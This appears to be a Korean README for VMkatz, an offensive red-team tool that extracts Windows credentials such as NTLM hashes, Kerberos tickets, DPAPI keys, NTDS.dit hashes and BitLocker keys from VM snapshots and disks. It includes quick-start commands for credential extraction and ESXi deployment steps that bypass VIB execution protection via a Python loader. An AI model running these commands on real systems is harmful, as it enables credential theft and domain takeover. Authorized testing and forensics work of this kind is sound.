VMkatz

훔치기엔 너무 큰

당신은 레드 팀 작전에 투입된 지 3주째입니다. 트래픽은 VPN을 거쳐, 네 개의 SOCKS 프록시를 통해 점프 박스로 연결된 후에야 대상 네트워크에 닿습니다. 모든 패킷이 우회 경로를 탑니다.

며칠간의 측면 이동 끝에 가상화 클러스터에 연결된 NAS에 도달했고, 디렉터리 목록이 달라 보입니다: .vmdk, .vmsn, .sav 파일이 줄지어 있습니다. 수백 기가바이트의 가상 머신 — 도메인 컨트롤러, 관리자 워크스테이션, 핵심 자산 — 이 바로 거기에 있습니다.

하지만 연결 속도는 200 KB/s로 간신히 버티고 있습니다. 100 GB 디스크 이미지 하나를 내려받는 데 6일이 걸리며, 지속적인 유출은 SOC에서 이상 징후를 감지하고 터널을 불태워 전체 체인이 붕괴될 위험을 매 시간마다 감수해야 합니다.

VMkatz는 그 자리에서 읽을 수 있는 것을 굳이 유출할 필요가 없어야 한다는 생각에서 탄생했습니다. VM 메모리 스냅샷과 가상 디스크에서 직접 Windows 비밀 — NTLM 해시, DPAPI 마스터 키, Kerberos 티켓, 캐시된 도메인 자격 증명, LSA 시크릿, NTDS.dit, BitLocker 키 — 을 추출합니다. NAS, 하이퍼바이저, VM 파일이 있는 모든 곳에서 말이죠.

단일 정적 바이너리, 약 3 MB. ESXi 호스트, Proxmox 노드 또는 NAS에 올려두고 .vmsn, .vmdk 또는 전체 VM 폴더를 지정하면 디스크 이미지가 아닌 자격 증명을 얻을 수 있습니다.

추출 항목

메모리 스냅샷에서 (LSASS)

mimikatz가 구현한 9가지 SSP 자격 증명 공급자 모두:

추가: BitLocker FVEK 메모리 추출 (FVEc/Cngb 풀 태그 스캔).

가상 디스크에서 (오프라인)

• SAM 해시: 로컬 계정 NT/LM 해시, 계정 상태 (비활성화, 빈 비밀번호) 포함
• LSA 시크릿: 서비스 계정 비밀번호, 자동 로그온 자격 증명, 컴퓨터 계정 키
• 캐시된 도메인 자격 증명: DCC2 해시 (마지막 N개 도메인 로그온)
• DPAPI 마스터 키: Hashcat 준비 해시 ($DPAPImk$ — 모드 15300/15310/15900/15910)
• NTDS.dit: 도메인 컨트롤러 디스크에서 전체 Active Directory 해시 추출 (네이티브 ESE 파서)
• BitLocker 복호화: 메모리에서 추출한 FVEK를 사용한 투명 디스크 복호화

지원되는 입력 형식

대상 OS: Windows Server 2003 ~ Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).

빠른 시작

# VMware 스냅샷에서 LSASS 자격 증명 추출
./vmkatz snapshot.vmsn

# 페이지 파일 해상도로 페이징된 자격 증명 처리
./vmkatz --disk disk.vmdk snapshot.vmsn

# 가상 디스크에서 SAM/LSA/DCC2 추출
./vmkatz disk.vmdk

# 도메인 컨트롤러 디스크에서 AD 해시 추출
./vmkatz --ntds dc-disk.qcow2

# VM 폴더를 지정하여 모든 항목 자동 검색
./vmkatz /path/to/vm-directory/

# 원시 레지스트리 하이브에서 추출
./vmkatz SAM SYSTEM SECURITY

# Hashcat 준비 해시로 출력
./vmkatz --format hashcat snapshot.vmsn

# Kerberos 티켓 내보내기
./vmkatz --kirbi snapshot.vmsn        # .kirbi 파일
./vmkatz --ccache snapshot.vmsn       # .ccache 파일

# dislocker용 BitLocker FVEK 내보내기
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn

# 경로 아래 모든 VM을 재귀적으로 스캔
./vmkatz -r /vmfs/volumes/datastore1/

# LSASS 미니덤프 파싱
./vmkatz lsass.dmp

출력 형식

ESXi에 배포

# ESXi용 크로스 컴파일 (musl 정적)
cargo build --release --target x86_64-unknown-linux-musl

# 업로드 및 실행
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn

VIB 보호(execInstalledOnly)가 활성화된 경우 Python 로더를 사용하세요 — 설정을 비활성화할 필요가 없습니다:

scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn

VIB 우회, VMFS 원시 장치 접근 및 자동 검색에 대한 자세한 내용은 docs/esxi.md를 참조하세요.

빌드 기능

VMkatz는 모듈식입니다. 컴파일 시 기능을 활성화/비활성화할 수 있습니다:

cargo build --release                                              # 전체 빌드
cargo build --release --no-default-features --features vmware      # VMware 전용
cargo build --release --no-default-features --features "sam ntds.dit"  # 디스크 전용

문서

• ESXi 배포, VIB 우회, VMFS 원시 접근
• 출력 예시
• 아키텍처 및 모듈 구조
• 테스트된 대상 및 알려진 제한 사항

감사의 말

• mimikatz — Benjamin Delpy (@gentilkiwi) — LSASS 내부 구조 및 Windows 자격 증명 복호화에 대한 결정적 참고 자료입니다.
• pypykatz — Tamás Jós (@skelsec) — 순수 Python mimikatz 재구현으로, SAM/LSA/DCC2 추출의 교차 참조로 사용되었습니다.
• Impacket — Fortra (원저자 Alberto Solino @agsolino) — NTDS.dit 추출 및 pwdump 출력 형식의 참조 구현체입니다.
• Vergilius Project — 지원되는 모든 빌드(XP ~ Win11 24H2)에서 EPROCESS 필드 오프셋 검증에 사용된 문서화된 Windows 커널 구조입니다.
• dissect.vmfs — Fox-IT (NCC Group) — Dissect DFIR 프레임워크의 Python VMFS 파서로, VMFS 온디스크 구조의 참조 자료로 사용되었습니다.
• vmfs-tools — Mike Hommey — 핵심 온디스크 구조 및 주소 유형을 문서화한 오픈소스 VMFS3/5 구현체입니다.
• volatility-kerberos — Sylvain Peyrefitte (@citronneur, Airbus CERT) — Volatility 3 Kerberos 플러그인으로, 해제된 LSASS 메모리에서 분리된 티켓을 복구하는 티켓 조각 수집 접근 방식에 영감을 주었습니다.